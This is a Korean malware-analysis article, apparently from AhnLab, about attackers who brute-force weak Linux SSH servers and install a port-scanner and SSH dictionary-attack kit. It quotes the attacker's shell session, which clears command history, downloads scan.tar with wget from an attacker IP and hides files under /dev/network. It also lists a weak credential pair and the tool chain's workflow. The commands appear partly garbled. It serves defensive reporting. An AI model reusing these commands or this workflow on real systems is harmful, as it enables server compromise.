공격자가 리눅스 SSH 서버에 스캐너 악성코드를 설치하는 과정은?AhnLab2023-12-12공격자는 감염 대상 시스템에 DDoS Bot나 동전 마이너의 외에도 스캔 또는 무차별 대입 공격 및 사전 공격을 수행하는 악성 코드를 설치한다.이로 부적절하게 관리되는 SSH서버에 SSH스캐너 악성 코드가 설치되는 경우도 있다.이번 글에서는 취약한 Linux SSH서버에 SSH스캐너 악성 코드를 설치하는 공격 사례를 보자.공격자는 악성 코드를 인스톨 하기 전에 ID와 패스워드(PW)목록을 이용하고 SSH서비스가 활성화된 Linux서버를 대상으로 로그인을 시도하고 로그인에 성공하면 악성 코드를 설치한다.이번 사례에서는 공격자는 취약한 시스템을 확보하는 만큼 다른 스캐너 악성 코드를 설치했다.[그림 1]과거의 쓰나미 DDoS Bot공격 캠페인에 사용된 ID/PW리스트 공격자는 스캐너를 이용하고 22번 포트, 즉 SSH서비스가 동작하는 시스템을 스캐닝 한 뒤 SSH사전 공격 툴과 획득한 계정 정보를 사용하며 악성 코드를 설치했다.공격에 사용된 계정 정보는[표 1]과 같다.UserPasswordAttackerIProotPassword1234217.156.4[.]2[표 1]공격에 사용된 공격자 IP주소 및 계정 정보를 로그인한 뒤에는 이하의 명령을 먼저 실행하고 CPU코어의 총수를 확인했습니다.이 명령은 공격자가 로그인에 성공한 뒤 SSH사전 공격 툴인 “prg”을 사용하여 실행합니다.> grep-c^ 프로세서/proc/cpuinfo이 명령이 실행되었다는 것은 공격자가 계정 정보를 취득했다는 것을 의미한다. 공격자는 이후 해당 계정 정보로 다시 로그인해 압축 파일을 내려받았는데, 압출 파일 내부에는 포트 스캐너 및 SSH 사전 공격 도구가 포함돼 있다. ‘cd/ev/network’나 ‘unaem 0a’처럼 공격자가 잘못 타이핑한 명령도 함께 확인됐다.>unset HISFILE>w>ls-a>psax>wget 58.216.207[.]82/scan.tar>ls-a>mdkri/dev/network>mkdir/dev/network>mv scan.tar/ev/network>cd/dev/network>cd/dev/network>ls-a>uname-a>tar-xvf sc.tar>lsx/sa-a>lsa/go 212>>cc.tar ..>ls-a>rm-rf scan.tar>ls-a입니다공격자가 사용한 악성코드를 정리하면 [표 2]와 같습니다.파일 이름 설명 go스캐너스크립트(IPA급)gob스캐너스크립트(IPB클래스)rand스캐너스크립트(랜덤 IPB Class대역에 대해서 gob실행)ps포트 스캐너 ps2포트스캐너 b배너스캐너 prgSSH Bruteforce툴[표 2] 공격에 사용된 악성코드 리스트 공격자는 인자로 ‘212’를 부여하고, ‘go’라는 이름의 바시(Bash) 스크립트를 실행했다. go 스크립트는 순서대로 포트 스캐너, 배너 스캐너, 그리고 SSH 사전 공격 툴을 실행하는 기능을 담당한다.[그림 3]go스캐너 스크립트 포트 스캐너를 실행할 때는, 인자로 스캔을 실시하는 IP대역과 포트 번호를 지정해야 한다.포토 번호는 SSH, 즉 22번 포트에 설정하고 IP대역은 전달된 값을 IPA반 대역으로 사용한다.[그림 3]포토 스캐너 실행 루틴”gob”스크립트는 go스크립트와 유사하고 있지만 인자로서 IPB반을 받는다는 점에서 차이가 있다.공격자는 최근의 공격으로 직접 IPA클래스를 지정하고 go스크립트를 실행했지만, IP B클래스를 지정하고 gob스크립트를 실행하거나”rand”스크립트를 실행할 수도 있다.rand스크립트는 임의의 IP B클래스를 지정하고 gob스크립트를 실행한다.포토 스캐너로 “ps”또는”ps2″이 사용되지만 이 모든 스캔 하는 IP대역과 포트 번호를 수신하고 스캔 하는 도구이다.스캐닝 대상 포트가 활성화된 시스템을 발견하면 IP주소록을 같은 경로에 “bios.txt”라는 이름으로 생성한다는 점이 특징이다.[그림 4]포토 스캐너 사용법(ps및 ps2)이후에는 “b”을 실행하지만 이전 과정에서 인자로 생성한 IP명단이 포함된 bios.txt와 포트 번호, 스캔 쓰레드 수를 지정하여 실행한다.b는 배너 스캐너에서 받은 IP주소와 포트 번호에 접속하고 배너를 수집한 뒤 같은 경로에 “banner.log”이라는 이름으로 생성한다.go스크립트는 해당 파일에서 “SSH-2.0-OpenSSH”문자열이 존재하는 IP명단을 추출하고”ips.lst”라는 이름의 파일에 저장한다.최종적으로 실행되는 “prg”은 SSH사전 공격 툴이다.같은 경로에 위치한 “ips.lst”파일에서 무차별 대입 공격 대상이 되는 IP주소를 읽고”pass.lst”파일에서는 사전 공격에 사용하는 ID와 PW리스트를 가져온다.ips.lst파일은 스캐닝 과정에서 획득한 IP주소가 보존되어 있으며, pass.lst파일은 “scan.tar”압축 파일 내부에 존재한다.사전 공격을 통해서 로그인에 성공할 경우 그 결과는 “ssh_vuln”라는 파일에 저장된다.[그림 5]SSH사전 공격의 결과 생성되는 파일의 prg도구는 사전 공격을 통해서 로그인한 후에는 “grep-c^processor/proc/cpuinfo”명령을 실행하여 전체 CPU코어 개수를 구한 후,[그림 6]처럼 Nproc항목으로 표시한다.이 명령은 위에서 최초로 실행한 명령과 동일하다.즉, 공격자는 같은 툴을 사용하고 계정 정보를 획득한 뒤 공격에 성공한 시스템에 직접 로그인하고 스캐너와 같이 SSH사전 공격 툴을 설치한 것으로 추정된다.[그림 6]사전 공격에 성공한 뒤에 나타내는 결과, 공격에 사용된 “scan.tar”파일 내부 포트 스캐너 SSH사전 공격 툴 등의 파일은 이미 과거로부터 다양한 공격자에 의해서 사용되고 있다.공격자마다 사용하는 툴이나 계정 정보 리스트 등의 파일은 조금씩 다르지만 공격의 흐름은 거의 같다.[그림 7]과거의 공격으로 사용된 툴 해당 툴은 PRGold Team에서 제작한 도구로 추정되며 공격자가 조금씩 변형되고 사용하고 있다.XMRig동전 마이너를 설치하는 공격자가 추가적으로 포트 스캐너와 SSH사전 공격 악성 코드를 설치한 사례에도 사용된 것으로 나타났다.[그림 8]공격에 사용된 go스크립트를 정리하면 최근 부적절하게 관리되는 Linux SSH서버에 포트 스캐너 및 SSH사전 공격 악성 코드가 설치되고 공격자는 이 툴을 악용하고 더 많은 SSH서버를 확보하고 이후 DDoS보트나 동전 마이너의 같은 악성 코드를 추가로 설치할 수 있다.그러므로, 보안 담당자는 계정 암호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하고 무차별 대입 공격과 사전 공격으로부터 Linux서버를 보호해야 하며 최신 버전으로 패치하는 취약성 공격을 방지해야 한다.또 외부에 공개된 접근 가능한 서버에 대해서 방화벽과 같은 보안 제품을 활용하고 공격자로부터의 접근을 통제해야 한다.이 외에 AhnLab V3를 최신 버전으로 업데이트할 것으로 악성 코드 감염을 사전에 차단할 수 있도록 신경 써야 한다.안랩 분석 팀은 Linux SSH허니 포트를 활용하고 공격지(Attack Source)주소를 실시간으로 수집해서 확인된 주소는 AhnLab TIP를 통해서 제공하고 있다.[그림 9] AhnLab TIP의 Threat IOCs 페이지에 대한 자세한 내용은 ASEC 블로그에서 확인할 수 있다.ASEC 블로그 접속[그림 9] AhnLab TIP의 Threat IOCs 페이지에 대한 자세한 내용은 ASEC 블로그에서 확인할 수 있다.ASEC 블로그 접속콘텐츠기획팀콘텐츠기획팀콘텐츠기획팀